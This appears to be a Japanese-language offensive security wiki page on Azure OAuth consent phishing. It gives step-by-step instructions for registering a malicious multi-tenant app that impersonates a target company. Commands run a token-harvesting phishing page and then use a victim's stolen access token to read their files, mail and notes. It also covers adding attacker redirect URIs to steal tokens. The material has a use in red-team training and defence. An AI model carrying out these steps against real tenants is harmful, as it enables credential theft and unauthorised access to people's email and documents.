# Az - OAuth Apps Phishing

{{#include ../../../banners/hacktricks-training.md}}

## OAuth App Phishing

**Azure Applications** は、ユーザーがアプリケーションに同意したときに使用できる権限で構成されています（ディレクトリの列挙、ファイルへのアクセス、またはその他のアクションの実行など）。アプリケーションはユーザーの代理で動作するため、アプリが管理者権限を要求しても、**同意したユーザーがその権限を持っていない場合**、アプリは**管理者アクションを実行できません**。

### アプリの同意権限

デフォルトでは、**ユーザーはアプリに同意できます**が、これは設定可能で、ユーザーが**選択された権限の検証されたパブリッシャーのアプリにのみ同意できる**ようにすることや、**アプリケーションへの同意権限を削除する**こともできます。

<figure><img src="../../../images/image.png" alt=""><figcaption></figcaption></figure>

ユーザーが同意できない場合、`GA`、`Application Administrator`、または`Cloud Application` `Administrator`のような**管理者**が、ユーザーが使用できるアプリケーションに**同意する**ことができます。

さらに、ユーザーが**低リスク**の権限を持つアプリにのみ同意できる場合、これらの権限はデフォルトで**openid**、**profile**、**email**、**User.Read**、および**offline_access**ですが、**このリストにさらに追加する**ことも可能です。

ユーザーがすべてのアプリに同意できる場合、すべてのアプリに同意できます。

### 2種類の攻撃

- **未認証**: 外部アカウントから、例えば**低リスク権限**の`User.Read`および`User.ReadBasic.All`を持つアプリケーションを作成し、ユーザーをフィッシングすることで、ディレクトリ情報にアクセスできます。
- フィッシングされたユーザーは、**外部テナントからのOAuthアプリを受け入れることができる**必要があります。
- フィッシングされたユーザーが**任意の権限を持つアプリに同意できる管理者**である場合、アプリケーションは**特権権限を要求する**こともできます。
- **認証済み**: 十分な権限を持つプリンシパルを侵害した後、**アカウント内にアプリケーションを作成し**、特権OAuth権限を受け入れることができる**特権ユーザーをフィッシング**します。
- この場合、すでにディレクトリの情報にアクセスできるため、権限`User.ReadBasic.All`はもはや興味深くありません。
- **管理者が付与する必要がある権限**に興味がある可能性が高いです。なぜなら、通常のユーザーはOAuthアプリに権限を与えることができないからです。そのため、**そのユーザーのみをフィッシングする必要があります**（この特権を付与する役割/権限については後で詳しく説明します）。

### ユーザーは同意することが許可されています

テナント内のユーザーからこのコマンドを実行する必要があることに注意してください。外部からテナントのこの設定を見つけることはできません。次のCLIは、ユーザーの権限を理解するのに役立ちます:
```bash
az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/authorizationPolicy"
```
- ユーザーはすべてのアプリに同意できます: **`permissionGrantPoliciesAssigned`** 内に `ManagePermissionGrantsForSelf.microsoft-user-default-legacy` が見つかる場合、ユーザーはすべてのアプリケーションを受け入れることができます。
- ユーザーは、確認済みのパブリッシャーまたは自組織からのアプリに同意できますが、選択した権限に対してのみ: **`permissionGrantPoliciesAssigned`** 内に `ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team` が見つかる場合、ユーザーはすべてのアプリケーションを受け入れることができます。
- **ユーザーの同意を無効にする**: **`permissionGrantPoliciesAssigned`** 内に `ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-chat` と `ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team` のみが見つかる場合、ユーザーは同意できません。

コメントされたポリシーの意味を見つけることができます:
```bash
az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/permissionGrantPolicies"
```
### **アプリケーション管理者**

新しいアプリケーションを受け入れることができるアプリケーション管理者と見なされるユーザーを確認します：
```bash
# Get list of roles
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles"

# Get Global Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1b2256f9-46c1-4fc2-a125-5b2f51bb43b7/members"

# Get Application Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92c3b7-2363-4826-93a6-7f7a5b53e7f9/members"

# Get Cloud Applications Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"
```
## **攻撃フローの概要**

攻撃は、一般的な企業をターゲットにしたいくつかのステップを含みます。以下のように展開される可能性があります：

1. **ドメイン登録とアプリケーションホスティング**: 攻撃者は、信頼できるサイトに似たドメイン（例："safedomainlogin.com"）を登録します。このドメインの下に、認証コードをキャプチャし、アクセストークンを要求するために設計されたアプリケーションをホストするサブドメイン（例："companyname.safedomainlogin.com"）を作成します。
2. **Azure ADでのアプリケーション登録**: 攻撃者は、ターゲット企業の名前を付けて、正当性を装ったマルチテナントアプリケーションを自分のAzure ADテナントに登録します。彼らは、悪意のあるアプリケーションをホストするサブドメインを指すようにアプリケーションのリダイレクトURLを設定します。
3. **権限の設定**: 攻撃者は、さまざまなAPI権限（例：`Mail.Read`、`Notes.Read.All`、`Files.ReadWrite.All`、`User.ReadBasic.All`、`User.Read`）を持つアプリケーションを設定します。これらの権限は、ユーザーによって付与されると、攻撃者がユーザーの代わりに機密情報を抽出できるようにします。
4. **悪意のあるリンクの配布**: 攻撃者は、悪意のあるアプリケーションのクライアントIDを含むリンクを作成し、ターゲットユーザーと共有して、同意を与えるように騙します。

## 例の攻撃

1. **新しいアプリケーションを登録**します。攻撃されたディレクトリのユーザーを使用している場合は、現在のディレクトリのみにすることができますが、外部攻撃の場合は任意のディレクトリにすることができます（次の画像のように）。
1. **リダイレクトURI**も、トークンを取得するためのコードを受け取ることを期待するURLに設定します（デフォルトでは`http://localhost:8000/callback`）。

<figure><img src="../../../images/image (1).png" alt=""><figcaption></figcaption></figure>

2. 次に、アプリケーションシークレットを作成します：

<figure><img src="../../../images/image (2).png" alt=""><figcaption></figcaption></figure>

3. API権限を選択します（例：`Mail.Read`、`Notes.Read.All`、`Files.ReadWrite.All`、`User.ReadBasic.All`、`User.Read`）

<figure><img src="../../../images/image (3).png" alt=""><figcaption></figcaption></figure>

4. **権限を要求するウェブページを実行します（**[**azure_oauth_phishing_example**](https://github.com/carlospolop/azure_oauth_phishing_example)**)**:
```bash
# From https://github.com/carlospolop/azure_oauth_phishing_example
python3 azure_oauth_phishing_example.py --client-secret <client-secret> --client-id <client-id> --scopes "email,Files.ReadWrite.All,Mail.Read,Notes.Read.All,offline_access,openid,profile,User.Read"
```
5. **URLを被害者に送信する**
1. この場合 `http://localhost:8000`
6. **被害者**は**プロンプトを受け入れる必要があります:**

<figure><img src="../../../images/image (4).png" alt=""><figcaption></figcaption></figure>

7. **アクセス トークンを使用して要求された権限にアクセスする**:
```bash
export ACCESS_TOKEN=<ACCESS_TOKEN>

# List drive files
curl -X GET \
https://graph.microsoft.com/v1.0/me/drive/root/children \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"

# List eails
curl -X GET \
https://graph.microsoft.com/v1.0/me/messages \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"

# List notes
curl -X GET \
https://graph.microsoft.com/v1.0/me/onenote/notebooks \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"
```
## Other Tools

- [**365-Stealer**](https://github.com/AlteredSecurity/365-Stealer)**:** [https://www.alteredsecurity.com/post/introduction-to-365-stealer](https://www.alteredsecurity.com/post/introduction-to-365-stealer)を確認して、設定方法を学んでください。
- [**O365-Attack-Toolkit**](https://github.com/mdsecactivebreach/o365-attack-toolkit)

## Post-Exploitation

### Phishing Post-Exploitation

要求された権限に応じて、**テナントの異なるデータにアクセスできる**（ユーザー、グループのリスト...または設定を変更することさえ）と、**ユーザーの情報**（ファイル、ノート、メール...）にアクセスできるかもしれません。その後、これらの権限を使用してこれらのアクションを実行できます。

### Entra ID Applications Admin

もし、Entra IDでアプリケーションを管理できるEntra IDプリンシパルを何らかの方法で侵害できた場合、テナントのユーザーによって使用されているアプリケーションがあります。管理者は**アプリが要求している権限を変更し、トークンを盗むための新しい許可されたリダイレクトアドレスを追加できる**でしょう。
- リダイレクトURIを**追加することが可能**です（本物のものを削除する必要はありません）そして、攻撃者のリダイレクトURIを使用してHTTPリンクを送信することができるので、ユーザーがリンクをたどると認証が自動的に行われ、攻撃者がトークンを受け取ります。
- アプリが要求する権限を変更して、ユーザーからより多くの権限を取得することも可能ですが、その場合、ユーザーは**再度プロンプトを承認する必要があります**（すでにログインしていても）。
- この攻撃を実行するために、攻撃者は**アプリケーションコードを制御する必要はありません**。彼は単に新しいURLを**`redirect_uri`**パラメータに持つアプリへのログインリンクをユーザーに送信することができます。

### Application Post Exploitation

ページのアプリケーションとサービスプリンシパルのセクションを確認してください：

{{#ref}}
../az-privilege-escalation/az-entraid-privesc/
{{#endref}}

## References

- [https://www.alteredsecurity.com/post/introduction-to-365-stealer](https://www.alteredsecurity.com/post/introduction-to-365-stealer)
- [https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-phishing/](https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-phishing/)

{{#include ../../../banners/hacktricks-training.md}}
